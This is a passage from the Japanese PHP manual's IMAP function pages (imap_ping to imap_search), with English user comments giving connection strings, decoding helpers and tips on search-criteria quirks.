$connection = imap_open($mailbox,$user,$pass) or die(imap_last_error()."<br>Connection Faliure!");

thanks!
itstooloud 31-Oct-2007 11:50
Works with Gmail's new IMAP function for personal and for Google Apps.

$mbox = imap_open ("{imap.gmail.com:993/imap/ssl}INBOX", "username@gmail.com", "password")
     or die("can't connect: " . imap_last_error());
askalski at synacor dot com 27-Sep-2007 08:50
By default, imap_open() will retry an incorrect password 3 times before giving up.  This is a feature built into the c-client library intended for interactive mail clients (which can prompt the end user for a new username/password combo.)

The new optional parameter "$n_retries" allows PHP to override the default retry limit.  There is absolutely no reason to leave this at default, or to set it to any value other than 1.  This is especially important if the mail server you're using locks users out after too many login failures.
Amit 11-Sep-2006 10:25
None of the above comments explain the configuration issues on Apache/Windows combination. I thought it might be helpful to list my findings here so that Windows people's time is saved.

There is a bug in Windows php_imap.dll that prevents it from connecting it to the SSL IMAP/POP3 server.

http://bugs.php.net/bug.php?id=36496&edit=1
shaikh_zaid at yahoo dot com 04-Apr-2006 11:55
imap_open will not open a stream if your server operates with Transport Layer Security (i.e. TLS) imap_open connects with SSL if its there. So try opening mailbox as

$mailbox="{mail.domain.com:143/imap/notls}";
or
$mailbox="{mail.domain.com:110/pop3/notls}"; This works...

Some mail server requires you to provide username@domain.com so you can always use. user@doamin.com

$conn=imap_open($mailbox, $username, $password);

Some server may ask for username as "user=user@domain.com"

:)
avizion at relay dot dk 12-May-2005 03:30
For FreeBSD users...

If you want to have SSL support, you want to install the ports:

mail/php5-imap
security/php5-openssl

Cheers :)

 - avizion
m dot stoel at cyberkinetic dot nl 27-Apr-2005 10:50
a little tip for those who get really frustrated even after reading all the right solutions and implementing them but still get the same errors or none at all..:
after having changed the code.. restart the httpd deamon..

for Fedora or any other Red Hat Linux OS (/etc/init.d/httpd restart).

After this you will be able to make a imap/pop3 stream from apache..
gasaunde at vcu dot edu 13-Dec-2004 11:35
I've found that on my servers I _must_ use imap_errors() and imap_alerts() after an imap_open or this error is thrown in the logs when the mailbox is empty: [error] PHP Warning: (null)(); Mailbox is empty (errflg=1) in Unknown on line 0
liamr at umich dot edu 29-Jun-2004 04:40
To authenticate using kerberos V / GSSAPI, you might need to add "user=" to the connection string.. eg:

$mbox = imap_open( "\{imap.example.com:143/imap/notls/user=" . $user . "}INBOX", $user, $passwd );

Our IMAP servers won't allow a user other than the user specified in the kerberos credentials connect using those credentials unless you specify that extra "user=" in the connection string.  Passing it as an argument to imap_open() doesn't seem to be enough.
rvarkelen AT hortimax.nl 14-Jan-2004 03:03
In order to make a IMAP connection to a Microsoft Exchange Server 5.5, I used this connection-string :

<?php
if(imap_open ("{192.168.1.6:143/imap}Inbox", "DOMAIN/USERNAME/ALIAS", "PASSWORD"))
{
    echo 'Connection success!';
}
else
{
    echo 'Connection failed';
}
?>

By replacing "Inbox" with, e.g. "Tasks", its possible to see all your tasks. I Hope this helps anybody!

Regards
marshall /AT\ pacdemon.org 03-Nov-2003 11:50
Thanks for all your comments.  The user comments have saved me countless times.

I'd like to give back in my small way by providing this little tip.  To test your pop or imap services you can use telnet (almost all operating systems should come with a command line telnet client).

Here's the pop3 example (the lines that start with + are the server's response):

    telnet your.pop.host.com 110
    +OK POP3 your.pop.host.com v2001.78 server ready
    user your_username
    +OK User name accepted, password please
    pass your_password
    +OK Mailbox open, 23 messages

Note that your pop server may be on some other port than 110 but that is the default/standard.

Here's the imap example (Lines that have OK near the begining are server responses):

    telnet your.imap.host.com 143
    * OK [CAPABILITY IMAP4REV1...]
    1 LOGIN "your_username" "your_password"
    1 OK [CAPABILITY...] ... User your_username authenticated

This might be old news to some people but I hope it's helpful for many.
kaper at nexgc dot com 08-Apr-2003 09:17
I had been having lots of trouble trying to get imap_open to connect to an imap server.  Then I found another post online that suggested this and it worked, so I am going to post it here.  I hope this helps others..

"I have tried with the following strings instead and it works:

for pop3: {www.server.com:110/pop3/notls}INBOX

and for imap: {www.server.com:143/notls}INBOX.
frederik at roal dot no 17-Apr-2002 09:02
For all imap functions where you specify the mailbox string it is important that you ALWAYS use IP (not hostname) and the portnumber. If you do not do this imap functions will be painfully slow.
Using hostname instead of IP adds 3 seconds to each IMAP call, not using portnumber adds 10 seconds to each imap call. (hint: use gethostbyname() )
brojann at netscape dot com 30-Oct-2001 02:01
You can do

<? $foo = imap_errors(); ?>

to clear unwanted warning messages like 'Mailbox is empty'
bandpay at hotmail dot com 04-Dec-2000 12:59
I have a single comment to add about imap_open.
If you want to connect to a news server, without specifying any news gruop, you can use the following:

<?php
$server = "{news.servername.com/nntp:119}";
$nntp = imap_open($server,"","",OP_HALFOPEN);
?>

and $nntp will become the connection ID.

Regards
//Babak


IMAP ストリームがアクティブかどうかを調べる

  • ≪ imap_open
  • imap_qprint ≫
  • PHP Manual
  • IMAP 関数
  • IMAP ストリームがアクティブかどうかを調べる

imap_ping

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_ping — IMAP ストリームがアクティブかどうかを調べる

説明

imap_ping ( resource $imap ) : bool

imap_ping() はストリームに ping を行い、 まだアクティブであるかどうかを調べます。これにより新しいメールの到着を知ることもあります。 これは、定期的に「メールのチェック」を行い、サーバーとの 「接続を保持し続ける」ためのお勧めの方法です。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

返り値

ストリームがまだ有効であれば true を、そうでなければ false を返します。

例

例1 imap_ping() の例

<?php

$imap = imap_open("{imap.example.org}", "mailadmin", "password");

// しばらく休んだ後
if (!imap_ping($imap)) {
    // 再接続の処理
}

?>

User Contributed Notes

There are no user contributed notes for this page.


quoted-printable 文字列を 8 ビット文字列に変換する

  • ≪ imap_ping
  • imap_rename ≫
  • PHP Manual
  • IMAP 関数
  • quoted-printable 文字列を 8 ビット文字列に変換する

imap_qprint

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_qprint — quoted-printable 文字列を 8 ビット文字列に変換する

説明

imap_qprint ( string $string ) : string|false

（» RFC2045, section 6.7 に基づき）quoted-printable 文字列を 8 ビット文字列に変換します。

パラメータ

string

quoted-printable 文字列。

返り値

8 ビット文字列を返します。 失敗した場合に false を返します

参考

  • imap_8bit() - 8 ビット文字列を quoted-printable 文字列に変換する

User Contributed Notes

wese at gmx dot at 11-Nov-2008 06:52
I just got rid of the loops using a regex.

<?php
function decode_qprint($str) {
    $str = preg_replace("/\=([A-F][A-F0-9])/","%$1",$str);
    $str = urldecode($str);
    $str = utf8_encode($str);
    return $str;
}
?>

Thanks for sharing!
tonitester at gmx dot net 27-Mar-2007 06:35
If you don't have access to the imap_qprint function and you have to encode URL Decoded and Quoted Printable Strings you receive by Mail try this simple function. But if you don't receive URL Decoded data and the string doesn't contain an = you better use http://www.php.net/manual/en/function.quoted-printable-decode.php

function decode_qprint($str){
$arr= array("A","B","C","D","E","F");
while (list(, $var) = each($arr)) {
    $i=0;
    while ($i <=9){
        $str=str_replace("=".$var.$i,"%".$var.$i,$str);
        $i++;}
    $arr2 = array("A","B","C","D","E","F");
    while (list(, $val) = each($arr2)) {
        $str=str_replace("=".$var.$val,"%".$var.$val,$str);}}
$str = urldecode($str);
$str = utf8_encode($str);
return $str;}

$s2d='=F6=D6=DF=C4=E4=DC=FC=A9=AE';
$2s2d='%F6';

$output = decode_qprint($s2d);
$output2 = decode_qprint($2s2d);

echo $output;
echo $output2;
bletous at yahoo dot fr 27-Aug-2005 05:55
Some mails are encoded in bad quoted printable format:
I use this function to decode the qprint:

for($i=0;$i<256;$i++)
    {
    $c1=dechex($i);
    if(strlen($c1)==1){$c1="0".$c1;}
    $c1="=".$c1;
    $myqprinta[]=$c1;
    $myqprintb[]=chr($i);
    }

function decode($data,$code)
{
if(!$code){return imap_utf7_decode($data);}
if($code==0){return imap_utf7_decode($data);}
if($code==1){return imap_utf8($data);}
if($code==2){return ($data);}
if($code==3){return imap_base64($data);}
if($code==4){return imap_qprint(str_replace($myqprinta,$myqprintb,($data)));}
if($code==5){return ($data);}

}
bernard at bmpsystems dot com 26-Feb-2000 12:35
This function seems to have a bug, when the quoted-printable string contains a "=" without the HEX code of a Character.
I use the regular quoted_printable_decode instead.


imap_renamemailbox のエイリアス

  • ≪ imap_qprint
  • imap_renamemailbox ≫
  • PHP Manual
  • IMAP 関数
  • imap_renamemailbox のエイリアス

imap_rename

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rename — imap_renamemailbox() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_renamemailbox().

User Contributed Notes

There are no user contributed notes for this page.


メールボックスの名前を変更する

  • ≪ imap_rename
  • imap_reopen ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスの名前を変更する

imap_renamemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_renamemailbox — メールボックスの名前を変更する

説明

imap_renamemailbox ( resource $imap , string $from , string $to ) : bool

この関数は、古いメールボックスを新しいメールボックスにリネーム します（mbox 名のフォーマットについては imap_open() を参照ください）。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

from

古いメールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

to

新しいメールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_createmailbox() - 新しいメールボックスを作る
  • imap_deletemailbox() - メールボックスを削除する

User Contributed Notes

Christoffer Lindahl 12-Oct-2010 10:27
Don't forget that you can't be connected to the mailbox that you are going to rename (or delete).

If you have the following mailboxes:
INBOX
INBOX.Foo

...and want to rename "INBOX.Foo" to "INBOX.Bar" you have to be connected to "INBOX":

<?php
$mbox = imap_open('{imap.example.com}INBOX', 'username', 'password');
imap_renamemailbox($mbox, '{imap.example.com}INBOX.Foo', '{imap.example.com}INBOX.Bar');
imap_close($mbox);
?>
josh at paducahwebpublishing dot com 03-Mar-2000 12:13
Don't let "...string old_mbox, string new_mbox);" fool you. You have to add the server and port to the mailbox name also. So it would be something like:

imap_renamemailbox($mailbox, "{localhost:143}$oldfolder", "{localhost:143}$newfolder")

Just thought I would point it out, it took me a while to figure it out.


新規メールボックスへの IMAP ストリームを再度オープンする

  • ≪ imap_renamemailbox
  • imap_rfc822_parse_adrlist ≫
  • PHP Manual
  • IMAP 関数
  • 新規メールボックスへの IMAP ストリームを再度オープンする

imap_reopen

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_reopen — 新規メールボックスへの IMAP ストリームを再度オープンする

説明

imap_reopen ( resource $imap , string $mailbox , int $flags = 0 , int $retries = 0 ) : bool

IMAP または NNTP サーバー上の新しい mailbox に対して指定されたストリームを再オープンします。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

flags

flags はビットマスクであり、以下の組み合わせとなります。

  • OP_READONLY - メールボックスを読み込み専用でオープンします。
  • OP_ANONYMOUS - ニュースに関して .newsrc を使用せず、更新もしません（NNTP のみ）。
  • OP_HALFOPEN - IMAP および NNTP 名について、接続をオープンするがメールボックスをオープンしません。
  • OP_EXPUNGE - 何も警告せずにリサイクルストリームを削除します。
  • CL_EXPUNGE - メールボックスを閉じた際に、自動的に メールボックスを削除する（imap_delete() および imap_expunge() も参照ください）。

retries

接続試行の最大数。

返り値

ストリームを再度オープンした場合に true、 それ以外の場合に false を返します。

例

例1 imap_reopen() の例

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password") or die(implode(", ", imap_errors()));
// ...
imap_reopen($mbox, "{imap.example.org:143}INBOX.Sent") or die(implode(", ", imap_errors()));
// ..
?>

User Contributed Notes

There are no user contributed notes for this page.


アドレス文字列を解釈します

  • ≪ imap_reopen
  • imap_rfc822_parse_headers ≫
  • PHP Manual
  • IMAP 関数
  • アドレス文字列を解釈します

imap_rfc822_parse_adrlist

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_adrlist — アドレス文字列を解釈します

説明

imap_rfc822_parse_adrlist ( string $string , string $default_hostname ) : array

» RFC2822 の定義に基づき、アドレス文字列をパースします。

パラメータ

string

アドレスを含む文字列。

default_hostname

デフォルトのホスト名。

返り値

オブジェクトの配列を返します。オブジェクトのプロパティは以下のとおりです。

  • mailbox - メールボックス名（ユーザー名）。
  • host - ホスト名。
  • personal - 個人名。
  • adl - ドメインソースルート。

例

例1 imap_rfc822_parse_adrlist() の例

<?php

$address_string = "Joe Doe <doe@example.com>, postmaster@example.com, root";
$address_array  = imap_rfc822_parse_adrlist($address_string, "example.com");
if (!is_array($address_array) || count($address_array) < 1) {
    die("something is wrong\n");
}

foreach ($address_array as $id => $val) {
    echo "# $id\n";
    echo "  mailbox : " . $val->mailbox . "\n";
    echo "  host    : " . $val->host . "\n";
    echo "  personal: " . $val->personal . "\n";
    echo "  adl     : " . $val->adl . "\n";
}
?>

上の例の出力は以下となります。

# 0
  mailbox : doe
  host    : example.com
  personal: Joe Doe
  adl     :
# 1
  mailbox : postmaster
  host    : example.com
  personal:
  adl     :
# 2
  mailbox : root
  host    : example.com
  personal:
  adl     :

参考

  • imap_rfc822_parse_headers() - 文字列からメールヘッダを解釈する

User Contributed Notes

Ian Eiloart 17-Oct-2005 06:50
This function does NOT test the syntax of either the local part, or the host part, it will permit illegal characters on either side.

Note that 'host' refers to the email domain, not actually to any host.

The at domain list is an obsolete addressing method which was available for routing email. RFC2822 says that it must be accepted, but should be ignored in routing.

Note that if an address doesn't contain a personal part, or an "at domain list", that part of the array will be missing.

Although RFC2822 permits consecutive comma separators in a list of email addresses, this function does not. That's probably a bug.

In the following list of examples, #4 uses an "at domain list",  #5 and after are illegal domains, but only the last actually generates an error.

$adds = 'ian eiloart <iane@example.ac.uk>,
        shuf6@example.ac.uk,
        blobby,
        "ian,eiloart"<ian@example.ac.uk>,
        <@example.com:foo@example.ac.uk>,
        foo@#,
        ian@-example.com,
        ian@one@two';
$add_arr = imap_rfc822_parse_adrlist($adds, 'example.com');
var_export ($add_arr);

array (
  0 =>
  class stdClass {
    var $mailbox = 'iane';
    var $host = 'example.ac.uk';
    var $personal = 'ian eiloart';
  },
  1 =>
  class stdClass {
    var $mailbox = 'shuf6';
    var $host = 'example.ac.uk';
  },
  2 =>
  class stdClass {
    var $mailbox = 'blobby';
    var $host = 'example.ac.uk';
  },
  3 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'example.ac.uk';
    var $personal = 'ian,eiloart';
  },
  4 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = 'example.ac.uk';
    var $adl = '@example.com';
  },
  5 =>
  class stdClass {
    var $mailbox = 'foo';
    var $host = '#';
  },
  6 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = '-example.com';
  },
  7 =>
  class stdClass {
    var $mailbox = 'ian';
    var $host = 'one';
  },
  8 =>
  class stdClass {
    var $mailbox = 'UNEXPECTED_DATA_AFTER_ADDRESS';
    var $host = '.SYNTAX-ERROR.';
  },
)
Rainer Perske 04-Jan-2005 08:20
Invalid addresses, if detected, set host to '.SYNTAX-ERROR.'; but not all invalid addresses get detected as such, e.g. <.@host.do.main> is considered
valid though a single dot is not a valid local part without using quotation marks.


文字列からメールヘッダを解釈する

  • ≪ imap_rfc822_parse_adrlist
  • imap_rfc822_write_address ≫
  • PHP Manual
  • IMAP 関数
  • 文字列からメールヘッダを解釈する

imap_rfc822_parse_headers

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_parse_headers — 文字列からメールヘッダを解釈する

説明

imap_rfc822_parse_headers ( string $headers , string $default_hostname = "UNKNOWN" ) : stdClass

複数のヘッダ要素を含むオブジェクトを取得します。 imap_header() と同じようなものです。

パラメータ

headers

パースされたヘッダデータ。

default_hostname

デフォルトのホスト名。

返り値

imap_header() が返すオブジェクトと似たものを返します。 フラグおよび他の要素は IMAP サーバーから取得するいう点が異なります。

参考

  • imap_rfc822_parse_adrlist() - アドレス文字列を解釈します

User Contributed Notes

Marco Arment 23-Jul-2010 09:10
This function will cause a PHP Fatal Error if the text you're passing to it overflows a 16 KB buffer internally (SENDBUFLEN in the source).

I haven't looked into it in depth yet, but limiting the input text to less than 16,384 characters still produced this in one error case on our servers, but reducing the boundary to 12,000 fixed it.

Most real-world mail headers are well under 4 KB.
phrank 21-Mar-2009 02:10
This function is marked as internal function by the c-client library and should not be used by php directly.

Please be aware that the result will always contain fields that have not been set in the message. For example reply_to and sender will always be set even if there is no Reply-To and Sender header fields are defined in the message.
Oliver 15-Apr-2006 05:50
To see the content of the returned object try this code:

   $stream = imap_open($server, $username, $password);
   $header = imap_fetchheader($stream, $uid, FT_UID);
   $obj = imap_rfc822_parse_headers( $header);
   print "<html><head></head><body><pre>\n";
   print_r($obj);
   print "</pre></body></html>";
   imap_close($stream);
Kevin Casper <casperke at gmail dot com> 01-Feb-2005 10:23
I was lightly probing this function's behavoir.

It handles rfc882 fields:

date
subject
message_id
to
from
reply-to
sender         - will generate using 'from' field if not in
                     header
references
in-reply-to
cc

doesn't handle rfc882 fields:
return-path
received
resent-         I think this field may be obsolete
keywords

If there are other rfc822 fields or behavoirs for the function, then I can't speak of them as they weren't in my test.
As it is relevent to what I'm currently doing I may add more about this function from time to time.
jh at junetz dot de 14-Sep-2004 08:22
But what you /will/ get is a complete To field, i.e. unfolded as specified for long header fields in RFC 822. So if you want to replace imap_headerinfo() by this function, you can run it on imap_fetchheader().
Sven dot Dickert at planb dot de 21-May-2002 04:28
The object you get from imap_rfc822_parse_headers differs from the object you get from imap_headerinfo/imap_header in the following points. You won't get the:
* flags
* msgno
* size
* Maildate
* udate
* fetchfrom
* fetchsubject

udate can be simulated with
$headerobj=imap_rfc822_parse_headers ($header);
$udate=strtotime($headerobj->date);


指定したメールボックス、ホスト、個人情報を、 電子メールアドレスとして適当な形式にして返す

  • ≪ imap_rfc822_parse_headers
  • imap_savebody ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメールボックス、ホスト、個人情報を、 電子メールアドレスとして適当な形式にして返す

imap_rfc822_write_address

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_rfc822_write_address — 指定したメールボックス、ホスト、個人情報を、 電子メールアドレスとして適当な形式にして返す

説明

imap_rfc822_write_address ( string $mailbox , string $hostname , string $personal ) : string|false

指定された情報を » RFC822 の定義に基づき 適切にフォーマットされた電子メールアドレスにして返します。

パラメータ

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

hostname

email のホスト部分。

personal

アカウント所有者の名前。

返り値

» RFC822 の定義に基づき 適切にフォーマットされた電子メールアドレスを返します。 失敗した場合に false を返します

例

例1 imap_rfc822_write_address() の例

<?php
echo imap_rfc822_write_address("hartmut", "example.com", "Hartmut Holzgraefe");
?>

上の例の出力は以下となります。

Hartmut Holzgraefe <hartmut@example.com>

User Contributed Notes

There are no user contributed notes for this page.


指定した本文部をファイルに保存する

  • ≪ imap_rfc822_write_address
  • imap_scan ≫
  • PHP Manual
  • IMAP 関数
  • 指定した本文部をファイルに保存する

imap_savebody

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

imap_savebody — 指定した本文部をファイルに保存する

説明

imap_savebody ( resource $imap , resource|string|int $file , int $message_num , string $section = "" , int $flags = 0 ) : bool

指定したメッセージの本文全体、あるいはその一部を保存します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

file

保存先ファイルへのパスを表す文字列、あるいは fopen() が返すファイル記述子。

message_num

メッセージ番号。

section

パート番号。ピリオドで区切られた整数文字列を指定します。 これは、IMAP4 仕様における本文パートのリストへのインデックスとなります。

flags

ビットマスクであり、以下の組合わせとなります。

  • FT_UID - message_numは UID である
  • FT_PEEK - 既に設定されていない場合、 \Seen フラグを設定しない
  • FT_INTERNAL - 内部フォーマットで文字列を返す。CRLF に正規化しない。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_fetchbody() - メッセージ本文中の特定のセクションを取り出す

User Contributed Notes

anon 12-Aug-2012 01:59
By using imap_fetchbody() you may run in trouble by using too much memory. Using imap_savebody() may prevent this.

But the content will be encoded, in other words it is useless. Adding a filter can help here.

<?php
$whandle = fopen('./incomming/tmp.tif','w');

stream_filter_append($whandle,
   'convert.base64-decode',STREAM_FILTER_WRITE);

imap_savebody ($mbox, $whandle, $i, $partcounter++);

fclose($whandle);
?>

NOTE: To find the proper filter you need to check the encoding given by the structure of the body.
janus at forty-seven dot info 20-Feb-2009 01:40
It seems that imap_savebody saves attachments with special characters above ascii 127 as quoted printable.
But if you need it in utf8, you may use the imap_qprint function after the attachment is saved:

<?php
$tFile = "/path/to/attachment";
$tFileOutput="";
$tFileHandle = fopen($tFile, "r");

//get the content of the file into a string
while(!feof($tFileHandle))
  $tFileOutput = $tFileOutput . fgets($tFileHandle, 4096);

fclose ($tFileHandle);

$tFileHandle = fopen($tFile, "w");
//write the new 8Bit string to the file
fwrite($tFileHandle, imap_qprint($tFileOutput));
fclose ($tFileHandle);
?>
technocraze at gmail dot com 20-Dec-2007 12:38
I tried to use this function. But it seems it requires php_zip.dll to be load..  i got the php errror like below.

[20-Dec-2007 13:38:17] PHP Warning:  PHP Startup: Unable to load dynamic library './php_zip.dll' - ./php_zip.dll: cannot open shared object file: No such file or directory in Unknown on line 0
[20-Dec-2007 13:38:17] PHP Fatal error:  Call to undefined function imap_savebody() in /opt/oss/share/apache2/htdocs/blogtest/wp-inst/batch/pop3_mail.php on line 153
stupergenius at gmail dot com 31-Jul-2007 06:40
This function will save ALL information from the email if the part number is left out. Pretty handy for archiving.


imap_listscan のエイリアス

  • ≪ imap_savebody
  • imap_scanmailbox ≫
  • PHP Manual
  • IMAP 関数
  • imap_listscan のエイリアス

imap_scan

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scan — imap_listscan() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


imap_listscan のエイリアス

  • ≪ imap_scan
  • imap_search ≫
  • PHP Manual
  • IMAP 関数
  • imap_listscan のエイリアス

imap_scanmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_scanmailbox — imap_listscan() のエイリアス

説明

この関数は次の関数のエイリアスです。 imap_listscan().

User Contributed Notes

There are no user contributed notes for this page.


指定した検索条件にマッチするメッセージを配列として返す

  • ≪ imap_scanmailbox
  • imap_set_quota ≫
  • PHP Manual
  • IMAP 関数
  • 指定した検索条件にマッチするメッセージを配列として返す

imap_search

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_search — 指定した検索条件にマッチするメッセージを配列として返す

説明

imap_search ( resource $imap , string $criteria , int $flags = SE_FREE , string $charset = "" ) : array|false

この関数は、指定した IMAP ストリームの現在オープンしているメールボックス において検索を行います。

例えば、Mom から送られた全ての未回答のメッセージにマッチさせるには、 "UNANSWERED FROM mom" を使用します。 検索は、大文字小文字が区別されずに行われます。 検索条件のリストは、UW c-client のソースコードからのものであり、 不完全または不正確である可能性があります (» RFC1176 の "tag SEARCH search_criteria" も参照ください)。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

criteria

空白で区切られた文字列で、以下のキーワードが使用可能です。 複数の単語からなるキーワード（例 FROM "joey smith"） は全て引用符で括る必要があります。 結果は、すべての criteria エントリにマッチすることになります。

  • ALL - 他の検索条件にマッチする全メッセージを返す
  • ANSWERED - \\ANSWERED フラグが設定されているメッセージにマッチ
  • BCC "string" - Bcc: フィールドに "string" を有するメッセージにマッチ
  • BEFORE "date" - "date" より前の Date: を有するメッセージにマッチ
  • BODY "string" - メッセージ本体に "string" を有するメッセージにマッチ
  • CC "string" - Cc: フィールドに "string" を有するメッセージにマッチ
  • DELETED - 削除されたメッセージにマッチ
  • FLAGGED - \\FLAGGED フラグ（重要または緊急を表すものとして 使用されることがあります）が設定されているメッセージにマッチ
  • FROM "string" - From: フィールドに "string" を有するメッセージにマッチ
  • KEYWORD "string" - キーワードとして "string" を有するメッセージにマッチ
  • NEW - 新規メッセージにマッチ
  • OLD - 古いメッセージにマッチ
  • ON "date" - Date: が "date" であるメッセージにマッチ
  • RECENT - \\RECENT フラグが設定されているメッセージにマッチ
  • SEEN - 既読の（\\SEEN フラグが設定されている）メッセージにマッチ
  • SINCE "date" - Date: が "date" 以降であるメッセージにマッチ
  • SUBJECT "string" - Subject: に "string" を有するメッセージにマッチ
  • TEXT "string" - テキスト "string" を有するメッセージにマッチ
  • TO "string" - To: に "string" を有するメッセージにマッチ
  • UNANSWERED - 未回答のメッセージにマッチ
  • UNDELETED - 削除されていないメッセージにマッチ
  • UNFLAGGED - フラグが設定されていないメッセージにマッチ
  • UNKEYWORD "string" - キーワード "string" を有さないメッセージにマッチ
  • UNSEEN - 未読のメッセージにマッチ

flags

flags に指定できる値は SE_UID です。これを指定すると、 メッセージ番号ではなく UID を含む配列を返します。

charset

文字列の検索の際に使う MIME 文字セット。

返り値

メッセージ番号あるいは UID の配列を返します。

検索条件 criteria を処理できなかった場合や 結果が見つからなかった場合は、false を返します。

例

例1 imap_search() の例

<?php
$conn   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);

$some   = imap_search($conn, 'SUBJECT "HOWTO be Awesome" SINCE "8 August 2008"', SE_UID);
$msgnos = imap_search($conn, 'ALL');
$uids   = imap_search($conn, 'ALL', SE_UID);

print_r($some);
print_r($msgnos);
print_r($uids);
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => 4
    [1] => 6
    [2] => 11
)
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 11
    [5] => 12
)

参考

  • imap_listscan() - 指定したテキストにマッチするメールボックスの一覧を返す

User Contributed Notes

Enriqe 02-Nov-2020 05:36
Please be aware about UID of the message.
It is NOT an ID that never change!

If you move your message to another folder in your IMAP account, this UID WILL CHANGE.

So if your message has UID = 100 (in INBOX folder) and you move it to some subfolder and then back to INBOX, it's new UID in INBOX will be 101.
samy.sadi.contact in gmail 10-Oct-2019 03:20
utf-8 charset isn't supported on outlook 365. So you might get a false return value here, if you pass that charset.
tgely 09-Oct-2016 02:12
If email subject is encoded than use encoding charset and option in search  to find something.

Mail Header:

Subject: =?UTF-8?Q?XYZ?=

<?php imap_search($inbox,'SUBJECT "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Paula 18-Aug-2016 09:44
This is the correct way to use the imap_search with ON "date"

$date = date("j F Y");

$emails = imap_search($inbox,'ON "'.$date.'"' );
britty dot it at hotmail dot com 11-Apr-2016 11:10
imap_search function is not fully compatible with IMAP4. the c-client used as of now supports only IMAP2 and some search criterion will not be available for use such as "OR"

So a php code similar to:
$inbox   = imap_open('{imap.example.com:993/imap/ssl}INBOX', 'foo@example.com', 'pass123', OP_READONLY);
$search_string = 'SUBJECT "FedEx" OR SUBJECT "USPS"';
$emails = imap_search($inbox, $search_string);

will throw an error saying "Unknown search criterion"

observations and reference:

PHP source trace:(ref: https://github.com/php/php-src/blob/master/ext/imap/php_imap.c)
    /ext/imap/php_imap.c -> line no : 4126
    imap_search => line no : 4148

c-client library source trace:
src/c-client/mail.c -> line no : 3973

internal.txt -> line no : 1919 => mail_criteria()
    criteria IMAP2-format search criteria string
    WARNING: This function does not accept IMAP4 search criteria.

IMAP2 RFC1064 => [ref: https://tools.ietf.org/html/rfc1064] [page: 13]
IMAP4 RFC2060 => [ref: http://www.faqs.org/rfcs/rfc2060.html] [section: 6.4.4]

Note:
The core search functionality in a core module(IMAP) is still not available in PHP. Hope this will be brought to the developer community's attention...
Anonymous 05-Sep-2014 06:45
about my previous note:

<<the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message. >>
------------------------------------------------------------------------

Now works ;)

Just to pass not a date string into criteria parameter but a timestamp returned by mktime function, where you can put your date string.

Solution for any date/time criterion is a unix timestamp.
andrea dot job at libero dot it 05-Sep-2014 02:25
the second parameter about Criteria does not work well on ON criterion.
In facts if I wish to put parameters from $_get into the format Day-Month-Year (01-01-14 for example) will return Unknown criterion etc.
Probably is not the right format ?

Even with for example Thu-Jan-2014 get the same message.
anonymous at anonymous dot ru 02-May-2014 05:38
the function "imap_search" not work for some mails , maybe that because header syntax or some bug .

thanks a lot
mail at nikha dot org 14-Feb-2014 10:18
Hi,
be aware, that imap_search() does NOT (as you may exspect) return an empty array, if nothing was found!
As the manual says, it returns FALSE.

Do not test the result like "count($array)" as I did.
This gives you 1 for an empty result. Took me an hour to found out why :-(  RTFM
trimoreau dot yonn at gmail dot com 04-Jun-2013 07:53
It's not possible to find strings containing double quotes using this function.

For example, if you got a message named : Hello, this is "Bob"
You can try :
     imap_search($inbox, 'SUBJECT "Hello, this is "Bob""')
Or
     imap_search($inbox, "SUBJECT 'Hello, this is \"Bob\"'")

But both are false, because you did not escape double quotes in the first case, and you can NOT use simple quotes in the imap_search criteria in the second case.

The real problem is that you cannot use simple quotes to surround your criteria in the 2nd argument of imap_search, after SUBJECT.
james at medbirdie dot com 10-Sep-2012 07:31
To set your own CHARSET, which is useful if you are dealing with Chinese Japanese and Korean queries.

<?php imap_search($inbox,'BODY "'.$keyword.'"', SE_FREE, "UTF-8"); ?>
Anonymous 22-Jul-2012 07:34
The date format for e.g. SINCE is, according to rfc3501:

date            = date-text / DQUOTE date-text DQUOTE

date-day        = 1*2DIGIT
                    ; Day of month

